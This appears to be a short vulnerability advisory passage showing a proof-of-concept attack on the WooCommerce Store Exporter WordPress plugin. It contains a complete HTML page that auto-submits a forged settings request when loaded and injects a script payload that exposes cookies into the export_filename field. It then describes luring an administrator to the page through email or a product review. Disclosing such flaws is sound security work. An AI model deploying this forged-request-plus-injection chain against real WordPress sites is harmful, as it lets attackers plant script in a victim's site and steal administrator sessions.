Scenario:
An attacker creates a malicious page as shown below and uploads it on a server under attacker's control.

<html>
<head>
<title>XSS WooCommerce - Store Exporter</title>
</head>
<body onload="javascript:document.forms[0].submit()">
<form method="POST" name="1" action="http://192.168.71.133/wp/wp-admin/admin.php?page=woo_ce&tab=settings">
<input type="hidden" name="export_filename" value='"</script><script>alert(document.cookie)</script>"'/>
<input type="hidden" name="action" value="save-settings"/>
</form>
</body>
</html>

When a WordPress administrator visits the malicious page above, a JavaScript code which prompts administrator's cookies will be saved on the victim's website. The attacker could send the URL pointing to the malicious webpage in an email or posting it in a review of a WooCommerce product, as shown below:
